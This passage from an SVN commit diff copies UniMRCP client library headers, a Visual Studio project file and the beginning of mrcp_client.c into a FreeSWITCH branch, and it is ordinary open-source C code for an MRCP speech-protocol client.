+MRCP_DECLARE(mrcp_session_t*) mrcp_application_session_create(mrcp_application_t *application, const char *profile, void *obj);
+
+/**
+ * Get external object associated with the session.
+ * @param session the session to get object from
+ */
+MRCP_DECLARE(void*) mrcp_application_session_object_get(mrcp_session_t *session);
+
+/** 
+ * Send session update request.
+ * @param session the session to update
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_session_update(mrcp_session_t *session);
+
+/** 
+ * Send session termination request.
+ * @param session the session to terminate
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_session_terminate(mrcp_session_t *session);
+
+/** 
+ * Destroy client session (session must be terminated prior to destroy).
+ * @param session the session to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_session_destroy(mrcp_session_t *session);
+
+
+/** 
+ * Create control channel.
+ * @param session the session to create channel for
+ * @param resource_id the resource identifier of the channel
+ * @param termination the media termination
+ * @param rtp_descriptor the RTP termination descriptor (NULL by default)
+ * @param obj the external object
+ */
+MRCP_DECLARE(mrcp_channel_t*) mrcp_application_channel_create(
+									mrcp_session_t *session, 
+									mrcp_resource_id resource_id, 
+									mpf_termination_t *termination, 
+									mpf_rtp_termination_descriptor_t *rtp_descriptor, 
+									void *obj);
+
+/**
+ * Get external object associated with the channel.
+ * @param channel the channel to get object from
+ */
+MRCP_DECLARE(void*) mrcp_application_channel_object_get(mrcp_channel_t *channel);
+
+/**
+ * Get RTP termination descriptor.
+ * @param channel the channel to get descriptor from
+ */
+MRCP_DECLARE(mpf_rtp_termination_descriptor_t*) mrcp_application_rtp_descriptor_get(mrcp_channel_t *channel);
+
+/** 
+ * Send channel add request.
+ * @param session the session to create channel for
+ * @param channel the control channel
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_channel_add(mrcp_session_t *session, mrcp_channel_t *channel);
+
+/** 
+ * Create MRCP message.
+ * @param session the session
+ * @param channel the control channel
+ * @param method_id the method identifier of MRCP message
+ */
+MRCP_DECLARE(mrcp_message_t*) mrcp_application_message_create(mrcp_session_t *session, mrcp_channel_t *channel, mrcp_method_id method_id);
+
+/** 
+ * Send MRCP message.
+ * @param session the session
+ * @param channel the control channel
+ * @param message the MRCP message to send
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_message_send(mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+
+/** 
+ * Remove channel.
+ * @param session the session to remove channel from
+ * @param channel the control channel to remove
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_channel_remove(mrcp_session_t *session, mrcp_channel_t *channel);
+
+/** 
+ * Discover resources.
+ * @param session the session to use as communication object
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_resource_discover(mrcp_session_t *session);
+
+/**
+ * Dispatch application message.
+ * @param dispatcher the dispatcher inteface
+ * @param app_message the message to dispatch
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_application_message_dispatch(const mrcp_app_message_dispatcher_t *dispatcher, const mrcp_app_message_t *app_message);
+
+
+/** Create source media termination
+ * @param session the session to create channel for
+ * @param stream_vtable the virtual table of audio stream
+ * @param codec_descriptor the descriptor of audio stream (NULL by default)
+ * @param obj the external object
+ */
+MRCP_DECLARE(mpf_termination_t*) mrcp_application_source_termination_create(
+										mrcp_session_t *session,
+										const mpf_audio_stream_vtable_t *stream_vtable,
+										mpf_codec_descriptor_t *codec_descriptor,
+										void *obj);
+/** Create sink media termination
+ * @param session the session to create channel for
+ * @param stream_vtable the virtual table of audio stream
+ * @param codec_descriptor the descriptor of audio stream (NULL by default)
+ * @param obj the external object
+ */
+MRCP_DECLARE(mpf_termination_t*) mrcp_application_sink_termination_create(
+										mrcp_session_t *session,
+										const mpf_audio_stream_vtable_t *stream_vtable,
+										mpf_codec_descriptor_t *codec_descriptor,
+										void *obj);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_APPLICATION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/include/mrcp_client.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,176 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CLIENT_H__
+#define __MRCP_CLIENT_H__
+
+/**
+ * @file mrcp_client.h
+ * @brief MRCP Client
+ */ 
+
+#include "mrcp_client_types.h"
+#include "apt_task.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create MRCP client instance.
+ * @return the created client instance
+ */
+MRCP_DECLARE(mrcp_client_t*) mrcp_client_create(apt_dir_layout_t *dir_layout);
+
+/**
+ * Start message processing loop.
+ * @param client the MRCP client to start
+ * @return the created client instance
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_start(mrcp_client_t *client);
+
+/**
+ * Shutdown message processing loop.
+ * @param client the MRCP client to shutdown
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_shutdown(mrcp_client_t *client);
+
+/**
+ * Destroy MRCP client.
+ * @param client the MRCP client to destroy
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_destroy(mrcp_client_t *client);
+
+
+/**
+ * Register MRCP resource factory.
+ * @param client the MRCP client to set resource factory for
+ * @param resource_factory the resource factory to set
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_resource_factory_register(mrcp_client_t *client, mrcp_resource_factory_t *resource_factory);
+
+/**
+ * Register codec manager.
+ * @param client the MRCP client to set codec manager for
+ * @param codec_manager the codec manager to set
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_codec_manager_register(mrcp_client_t *client, mpf_codec_manager_t *codec_manager);
+
+/**
+ * Get registered codec manager.
+ * @param client the MRCP client to get codec manager from
+ */
+MRCP_DECLARE(const mpf_codec_manager_t*) mrcp_client_codec_manager_get(mrcp_client_t *client);
+
+/**
+ * Register media engine.
+ * @param client the MRCP client to set media engine for
+ * @param media_engine the media engine to set
+ * @param name the name of the media engine
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_media_engine_register(mrcp_client_t *client, mpf_engine_t *media_engine, const char *name);
+
+/**
+ * Register RTP termination factory.
+ * @param client the MRCP client to set termination factory for
+ * @param rtp_termination_factory the termination factory
+ * @param name the name of the factory
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_rtp_factory_register(mrcp_client_t *client, mpf_termination_factory_t *rtp_termination_factory, const char *name);
+
+/**
+ * Register MRCP signaling agent.
+ * @param client the MRCP client to set signaling agent for
+ * @param signaling_agent the signaling agent to set
+ * @param name the name of the agent
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_signaling_agent_register(mrcp_client_t *client, mrcp_sig_agent_t *signaling_agent, const char *name);
+
+/**
+ * Register MRCP connection agent (MRCPv2 only).
+ * @param client the MRCP client to set connection agent for
+ * @param connection_agent the connection agent to set
+ * @param name the name of the agent
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_connection_agent_register(mrcp_client_t *client, mrcp_connection_agent_t *connection_agent, const char *name);
+
+/** Create MRCP profile */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_client_profile_create(
+									mrcp_resource_factory_t *resource_factory,
+									mrcp_sig_agent_t *signaling_agent,
+									mrcp_connection_agent_t *connection_agent,
+									mpf_engine_t *media_engine,
+									mpf_termination_factory_t *rtp_factory,
+									apr_pool_t *pool);
+
+/**
+ * Register MRCP profile.
+ * @param client the MRCP client to set profile for
+ * @param profile the profile to set
+ * @param name the name of the profile
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_profile_register(mrcp_client_t *client, mrcp_profile_t *profile, const char *name);
+
+/**
+ * Register MRCP application.
+ * @param client the MRCP client to set application for
+ * @param application the application to set
+ * @param name the name of the application
+ */
+MRCP_DECLARE(apt_bool_t) mrcp_client_application_register(mrcp_client_t *client, mrcp_application_t *application, const char *name);
+
+/**
+ * Get memory pool.
+ * @param client the MRCP client to get memory pool from
+ */
+MRCP_DECLARE(apr_pool_t*) mrcp_client_memory_pool_get(mrcp_client_t *client);
+
+/**
+ * Get media engine by name.
+ * @param client the MRCP client to get media engine from
+ * @param name the name of the media engine to lookup
+ */
+MRCP_DECLARE(mpf_engine_t*) mrcp_client_media_engine_get(mrcp_client_t *client, const char *name);
+
+/**
+ * Get RTP termination factory by name.
+ * @param client the MRCP client to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mpf_termination_factory_t*) mrcp_client_rtp_factory_get(mrcp_client_t *client, const char *name);
+
+/**
+ * Get signaling agent by name.
+ * @param client the MRCP client to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mrcp_sig_agent_t*) mrcp_client_signaling_agent_get(mrcp_client_t *client, const char *name);
+
+/**
+ * Get connection agent by name.
+ * @param client the MRCP client to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mrcp_connection_agent_t*) mrcp_client_connection_agent_get(mrcp_client_t *client, const char *name);
+
+/**
+ * Get profile by name.
+ * @param client the MRCP client to get from
+ * @param name the name to lookup
+ */
+MRCP_DECLARE(mrcp_profile_t*) mrcp_client_profile_get(mrcp_client_t *client, const char *name);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CLIENT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_session.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_session.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/include/mrcp_client_session.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_session.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_session.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,193 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CLIENT_SESSION_H__
+#define __MRCP_CLIENT_SESSION_H__
+
+/**
+ * @file mrcp_client_session.h
+ * @brief MRCP Client Session
+ */ 
+
+#include "mrcp_client_types.h"
+#include "mrcp_application.h"
+#include "mrcp_session.h"
+#include "mpf_message.h"
+#include "apt_task_msg.h"
+#include "apt_obj_list.h"
+
+APT_BEGIN_EXTERN_C
+
+/** RTP termination slot declaration */
+typedef struct rtp_termination_slot_t rtp_termination_slot_t;
+
+/** MRCP client session declaration */
+typedef struct mrcp_client_session_t mrcp_client_session_t;
+
+/** MRCP client session */
+struct mrcp_client_session_t {
+	/** Session base */
+	mrcp_session_t             base;
+	/** Application session belongs to */
+	mrcp_application_t        *application;
+	/** External object associated with session */
+	void                      *app_obj;
+	/** Profile to use */
+	mrcp_profile_t            *profile;
+
+	/** Media context */
+	mpf_context_t             *context;
+	/** Codec manager */
+	const mpf_codec_manager_t *codec_manager;
+
+
+	/** RTP termination array (mrcp_termination_slot_t) */
+	apr_array_header_t        *terminations;
+	/** MRCP control channel array (mrcp_channel_t*) */
+	apr_array_header_t        *channels;
+
+	/** Indicates whether session is already added to session table */
+	apt_bool_t                 registered;
+
+	/** In-progress offer */
+	mrcp_session_descriptor_t *offer;
+	/** In-progress answer */
+	mrcp_session_descriptor_t *answer;
+
+	/** MRCP application active request */
+	const mrcp_app_message_t  *active_request;
+	/** MRCP application request queue */
+	apt_obj_list_t            *request_queue;
+
+	/** Number of in-progress offer requests (flags) */
+	apr_size_t                 offer_flag_count;
+	/** Number of in-progress answer requests (flags) */
+	apr_size_t                 answer_flag_count;
+	/** Number of in-progress terminate requests (flags) */
+	apr_size_t                 terminate_flag_count;
+};
+
+/** MRCP channel */
+struct mrcp_channel_t {
+	/** Memory pool */
+	apr_pool_t             *pool;
+	/** External object associated with channel */
+	void                   *obj;
+	/** MRCP resource identifier */
+	mrcp_resource_id        resource_id;
+	/** MRCP resource name */
+	const apt_str_t        *resource_name;
+	/** MRCP resource */
+	mrcp_resource_t        *resource;
+	/** MRCP session entire channel belongs to */
+	mrcp_session_t         *session;
+	/** MRCP control channel */
+	mrcp_control_channel_t *control_channel;
+	/** Media termination */
+	mpf_termination_t      *termination;
+	/** Associated RTP termination slot */
+	rtp_termination_slot_t *rtp_termination_slot;
+
+	/** waiting state of control channel */
+	apt_bool_t              waiting_for_channel;         
+	/** waiting state of media termination */
+	apt_bool_t              waiting_for_termination;
+};
+
+/** RTP termination slot */
+struct rtp_termination_slot_t {
+	/** waiting state */
+	apt_bool_t                        waiting;
+	/** RTP termination */
+	mpf_termination_t                *termination;
+	/** RTP termination descriptor */
+	mpf_rtp_termination_descriptor_t *descriptor;
+};
+
+
+/** MRCP profile */
+struct mrcp_profile_t {
+	/** MRCP resource factory */
+	mrcp_resource_factory_t   *resource_factory;
+	/** Media processing engine */
+	mpf_engine_t              *media_engine;
+	/** RTP termination factory */
+	mpf_termination_factory_t *rtp_termination_factory;
+	/** Signaling agent */
+	mrcp_sig_agent_t          *signaling_agent;
+	/** Connection agent */
+	mrcp_connection_agent_t   *connection_agent;
+};
+
+/** MRCP application */
+struct mrcp_application_t {
+	/** External object associated with the application */
+	void                      *obj;
+	/** Application message handler */
+	mrcp_app_message_handler_f handler;
+	/** MRCP client */
+	mrcp_client_t             *client;
+	/** Application task message pool */
+	apt_task_msg_pool_t       *msg_pool;
+};
+
+/** Create client session */
+mrcp_client_session_t* mrcp_client_session_create(mrcp_application_t *application, void *obj);
+/** Create channel */
+mrcp_channel_t* mrcp_client_channel_create(
+					mrcp_session_t *session, 
+					mrcp_resource_id resource_id, 
+					mpf_termination_t *termination, 
+					mpf_rtp_termination_descriptor_t *rtp_descriptor, 
+					void *obj);
+
+/** Create signaling app_message_t request */
+mrcp_app_message_t* mrcp_client_app_signaling_request_create(mrcp_sig_command_e command_id, apr_pool_t *pool);
+/** Create signaling app_message_t event */
+mrcp_app_message_t* mrcp_client_app_signaling_event_create(mrcp_sig_event_e event_id, apr_pool_t *pool);
+/** Create control app_message_t */
+mrcp_app_message_t* mrcp_client_app_control_message_create(apr_pool_t *pool);
+/** Create response to app_message_t request */
+mrcp_app_message_t* mrcp_client_app_response_create(const mrcp_app_message_t *app_request, mrcp_sig_status_code_e status, apr_pool_t *pool);
+
+/** Process application message */
+apt_bool_t mrcp_client_app_message_process(mrcp_app_message_t *app_message);
+/** Process MPF message */
+apt_bool_t mrcp_client_mpf_message_process(mpf_message_t *mpf_message);
+
+/** Process session answer */
+apt_bool_t mrcp_client_session_answer_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor);
+/** Process session termination response */
+apt_bool_t mrcp_client_session_terminate_response_process(mrcp_client_session_t *session);
+/** Process session control response */
+apt_bool_t mrcp_client_session_control_response_process(mrcp_client_session_t *session, mrcp_message_t *message);
+/** Process resource discovery response */
+apt_bool_t mrcp_client_session_discover_response_process(mrcp_client_session_t *session, mrcp_session_descriptor_t *descriptor);
+/** Process session termination event */
+apt_bool_t mrcp_client_session_terminate_event_process(mrcp_client_session_t *session);
+
+/** Process channel add event */
+apt_bool_t mrcp_client_on_channel_add(mrcp_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+/** Process channel modify event */
+apt_bool_t mrcp_client_on_channel_modify(mrcp_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+/** Process channel remove event */
+apt_bool_t mrcp_client_on_channel_remove(mrcp_channel_t *channel, apt_bool_t status);
+/** Process message receive event */
+apt_bool_t mrcp_client_on_message_receive(mrcp_channel_t *channel, mrcp_message_t *message);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CLIENT_SESSION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_types.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_types.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/include/mrcp_client_types.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_types.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/include/mrcp_client_types.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_CLIENT_TYPES_H__
+#define __MRCP_CLIENT_TYPES_H__
+
+/**
+ * @file mrcp_client_types.h
+ * @brief MRCP Client Types
+ */ 
+
+#include "mrcp_sig_types.h"
+#include "mrcp_connection_types.h"
+#include "mpf_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque MRCP client declaration */
+typedef struct mrcp_client_t mrcp_client_t;
+
+/** Opaque MRCP profile declaration */
+typedef struct mrcp_profile_t mrcp_profile_t;
+
+/** Opaque MRCP application declaration */
+typedef struct mrcp_application_t mrcp_application_t;
+
+/** Opaque MRCP channel declaration */
+typedef struct mrcp_channel_t mrcp_channel_t;
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_CLIENT_TYPES_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/mrcpclient.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/mrcpclient.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/mrcpclient.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/mrcpclient.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/mrcpclient.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="mrcpclient"
+	ProjectGUID="{72782932-37CC-46AE-8C7F-9A7B1A6EE108}"
+	RootNamespace="mrcpclient"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpclient.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\mrcpclient.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\include\mrcp_application.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_client.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_client_session.h"
+				>
+			</File>
+			<File
+				RelativePath=".\include\mrcp_client_types.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\mrcp_client.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\mrcp_client_session.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client.c

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client.c (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp-client/src/mrcp_client.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp-client/src/mrcp_client.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,983 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_hash.h>
+#include "mrcp_client.h"
+#include "mrcp_resource_factory.h"
+#include "mrcp_sig_agent.h"
+#include "mrcp_client_session.h"
+#include "mrcp_client_connection.h"
+#include "mrcp_message.h"
+#include "mpf_engine.h"
+#include "mpf_termination.h"
+#include "mpf_codec_manager.h"
+#include "apt_pool.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define CLIENT_TASK_NAME "MRCP Client"
+
+/** MRCP client */
+struct mrcp_client_t {
+	/** Main message processing task */
+	apt_consumer_task_t     *task;
+
+	/** MRCP resource factory */
+	mrcp_resource_factory_t *resource_factory;
+	/** Codec manager */
+	mpf_codec_manager_t     *codec_manager;
+	/** Table of media processing engines (mpf_engine_t*) */
+	apr_hash_t              *media_engine_table;
+	/** Table of RTP termination factories (mpf_termination_factory_t*) */
+	apr_hash_t              *rtp_factory_table;
+	/** Table of signaling agents (mrcp_sig_agent_t*) */
+	apr_hash_t              *sig_agent_table;
+	/** Table of connection agents (mrcp_connection_agent_t*) */
+	apr_hash_t              *cnt_agent_table;
+	/** Table of profiles (mrcp_profile_t*) */
+	apr_hash_t              *profile_table;
+
+	/** Table of applications (mrcp_application_t*) */
+	apr_hash_t              *app_table;
+
+	/** Table of sessions/handles */
+	apr_hash_t              *session_table;
+
+	/** Connection task message pool */
+	apt_task_msg_pool_t     *cnt_msg_pool;
+	/** Dir layout structure */
+	apt_dir_layout_t        *dir_layout;
+	/** Memory pool */
+	apr_pool_t              *pool;
+};
+
+
+typedef enum {
+	MRCP_CLIENT_SIGNALING_TASK_MSG = TASK_MSG_USER,
+	MRCP_CLIENT_CONNECTION_TASK_MSG,
+	MRCP_CLIENT_MEDIA_TASK_MSG,
+	MRCP_CLIENT_APPLICATION_TASK_MSG
+} mrcp_client_task_msg_type_e;
+
+/* Signaling agent interface */
+typedef enum {
+	SIG_AGENT_TASK_MSG_ANSWER,
+	SIG_AGENT_TASK_MSG_TERMINATE_RESPONSE,
+	SIG_AGENT_TASK_MSG_CONTROL_RESPONSE,
+	SIG_AGENT_TASK_MSG_DISCOVER_RESPONSE,
+	SIG_AGENT_TASK_MSG_TERMINATE_EVENT
+} sig_agent_task_msg_type_e;
+
+typedef struct sig_agent_task_msg_data_t sig_agent_task_msg_data_t;
+struct sig_agent_task_msg_data_t {
+	mrcp_client_session_t     *session;
+	mrcp_session_descriptor_t *descriptor;
+	mrcp_message_t            *message;
+};
+
+static apt_bool_t mrcp_client_answer_signal(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+static apt_bool_t mrcp_client_terminate_response_signal(mrcp_session_t *session);
+static apt_bool_t mrcp_client_control_response_signal(mrcp_session_t *session, mrcp_message_t *message);
+static apt_bool_t mrcp_client_discover_response_signal(mrcp_session_t *session, mrcp_session_descriptor_t *descriptor);
+
+static apt_bool_t mrcp_client_terminate_event_signal(mrcp_session_t *session);
+
+static const mrcp_session_response_vtable_t session_response_vtable = {
+	mrcp_client_answer_signal,
+	mrcp_client_terminate_response_signal,
+	mrcp_client_control_response_signal,
+	mrcp_client_discover_response_signal
+};
+
+static const mrcp_session_event_vtable_t session_event_vtable = {
+	mrcp_client_terminate_event_signal
+};
+
+/* Connection agent interface */
+typedef enum {
+	CONNECTION_AGENT_TASK_MSG_ADD_CHANNEL,
+	CONNECTION_AGENT_TASK_MSG_MODIFY_CHANNEL,
+	CONNECTION_AGENT_TASK_MSG_REMOVE_CHANNEL,
+	CONNECTION_AGENT_TASK_MSG_RECEIVE_MESSAGE,
+} connection_agent_task_msg_type_e ;
+
+typedef struct connection_agent_task_msg_data_t connection_agent_task_msg_data_t;
+struct connection_agent_task_msg_data_t {
+	mrcp_channel_t            *channel;
+	mrcp_control_descriptor_t *descriptor;
+	mrcp_message_t            *message;
+	apt_bool_t                 status;
+};
+
+static apt_bool_t mrcp_client_channel_add_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+static apt_bool_t mrcp_client_channel_modify_signal(mrcp_control_channel_t *channel, mrcp_control_descriptor_t *descriptor, apt_bool_t status);
+static apt_bool_t mrcp_client_channel_remove_signal(mrcp_control_channel_t *channel, apt_bool_t status);
+static apt_bool_t mrcp_client_message_signal(mrcp_control_channel_t *channel, mrcp_message_t *message);
+
+static const mrcp_connection_event_vtable_t connection_method_vtable = {
+	mrcp_client_channel_add_signal,
+	mrcp_client_channel_modify_signal,
+	mrcp_client_channel_remove_signal,
+	mrcp_client_message_signal
+};
+
+/* Task interface */
+static void mrcp_client_on_start_complete(apt_task_t *task);
+static void mrcp_client_on_terminate_complete(apt_task_t *task);
+static apt_bool_t mrcp_client_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+static apt_bool_t mrcp_app_signaling_task_msg_signal(mrcp_sig_command_e command_id, mrcp_session_t *session, mrcp_channel_t *channel);
+static apt_bool_t mrcp_app_control_task_msg_signal(mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+
+
+/** Create MRCP client instance */
+MRCP_DECLARE(mrcp_client_t*) mrcp_client_create(apt_dir_layout_t *dir_layout)
+{
+	mrcp_client_t *client;
+	apr_pool_t *pool;
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+	
+	pool = apt_pool_create();
+	if(!pool) {
+		return NULL;
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create "CLIENT_TASK_NAME);
+	client = apr_palloc(pool,sizeof(mrcp_client_t));
+	client->pool = pool;
+	client->dir_layout = dir_layout;
+	client->resource_factory = NULL;
+	client->media_engine_table = NULL;
+	client->rtp_factory_table = NULL;
